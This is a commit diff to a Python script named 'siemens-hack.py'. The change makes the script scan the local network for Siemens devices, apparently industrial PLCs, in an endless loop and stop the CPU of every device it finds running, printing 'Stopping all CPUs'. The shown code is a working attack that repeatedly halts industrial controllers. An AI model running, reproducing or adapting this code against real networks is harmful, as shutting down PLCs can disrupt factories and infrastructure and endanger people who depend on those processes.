Update siemens-hack.py

This commit is contained in:
2024-09-02 19:26:16 +02:00
parent 92a7510d85
commit fa644e46ae

View File

@@ -465,21 +465,19 @@ def main():
s_macaddr = interfaces[0][2].replace(':', '') # eg: 'ab58e0ff585a'
s_winguid = interfaces[0][4] # eg: '{875F7EDB-CA23-435E-8E9E-DFC9E3314C55}'
received_data_arr, b_npfdevice = scan_network(s_adapter, s_macaddr, s_winguid)
lst_devices = parse_data(received_data_arr)
print(f"Found {len(lst_devices)} devices")
for lst_device in lst_devices:
pprint(lst_device)
while True:
received_data_arr, b_npfdevice = scan_network(s_adapter, s_macaddr, s_winguid)
lst_devices = parse_data(received_data_arr)
print(f"Found {len(lst_devices)} devices")
for lst_device in lst_devices:
pprint(lst_device)
print("Stopping all CPUs")
for device in lst_devices:
current_state = get_cpu(device)
if current_state == 'Running':
change_cpu(device)
time.sleep(10)
time.sleep(5)
if __name__ == '__main__':